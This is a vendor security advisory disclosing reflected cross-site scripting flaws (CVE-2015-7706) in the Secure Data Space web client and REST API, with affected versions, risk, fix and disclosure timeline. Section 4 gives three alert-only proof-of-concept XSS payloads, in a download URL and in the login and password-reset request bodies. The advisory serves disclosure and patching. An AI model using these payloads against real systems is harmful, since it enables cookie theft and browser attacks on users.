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secunet Security Networks AG Security Advisory

Advisory: SECURE DATA SPACE API Multiple Non-Persistent Cross-Site Scripting Vulnerabilities

1. DETAILS
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Product: SECURE DATA SPACE 
Vendor URL: www.ssp-europe.eu
Type: Cross-site Scripting[CWE-79]
Date found: 2015-09-30
Date published: 2015-12-09
CVSSv2 Score: 4,3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)  
CVE: CVE-2015-7706


2. AFFECTED VERSIONS
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All product versions (Online, Dedicated, For Linux/Windows) in 
Web-Client v3.1.1-2  
restApiVersion: 3.5.7-FINAL
sdsServerVersion: 3.4.14-FINAL


3. INTRODUCTION
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"The highly secure business solution for easy storage, synchronization, distribution and management of data - regardless of location or device"

(from the vendor's homepage)


4. VULNERABILITY DETAILS
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The Secure Data Share version v3.1.1-2 is vulnerable to multiple unauthenticated Non-Persistent Cross-Site Scripting vulnerabilities when user-supplied input is processed by the server.[0]  

#1 Proof-of-Concept:
https://example.com/api/v3//public/shares/downloads/111"}<BODY%20ONLOAD%3dalert('XSS')>

#2 Proof-of-Concept(authType parameter):
POST /api/v3/auth/login                                                            
{"login":"a","password":"a","language":1,"authType":"random<script>alert(1)<\/script>random"}

#3 Proof-of-Concept(login parameter):
POST /api/v3/auth/reset_password      
{"login":"random<script>alert(1)<\/script>random","language":1}


5. SECURITY RISK
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The vulnerabilities can be used to temporarily embed arbitrary script code into the context of the Secure Data Space backend interface, which offers a wide range of possible attacks such as stealing cookies or attacking the browser and its components.


6. SOLUTION
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Update to Secure Data Space Versions:
Web-Client 3.1.3 - Rev. 3 or higher with
SDS-API 3.5.7 or higher


7. REPORT TIMELINE
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2015-09-30: Vulnerability discovered
2015-10-02: Vendor notified
2015-10-02: Vendor acknowledges the vulnerability
2015-10-05: CVE requested from MITRE
2015-10-05: CVE-2015-7706 assigned
2015-10-13: Vendor releases update and security advisory[0]
2015-12-09: Advisory released


8. REFERENCES / CREDITS
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This vulnerability was discovered and researched by Thomas Vogt from secunet Security Networks AG.

[0] https://kb.ssp-europe.eu/pages/viewpage.action?pageId=12059988


secunet Security Networks AG
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secunet is one of Germany's leading providers of superior IT security. In close dialogue with its customers – enterprises, public authorities and international organisations – secunet develops and implements high-performance products and state-of-the-art IT security solutions. Thus, secunet not only keeps IT infrastructures secure for its customers, but also achieves intelligent process optimisation and creates sustainable added value. More information about secunet can be found at:
https://www.secunet.com

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secunet Security Networks AG
Kronprinzenstraße 30
45128 Essen, Germany
Local Court of Essen HRB 13615
Board of management: Dr. Rainer Baumgart (CEO), Thomas Pleines
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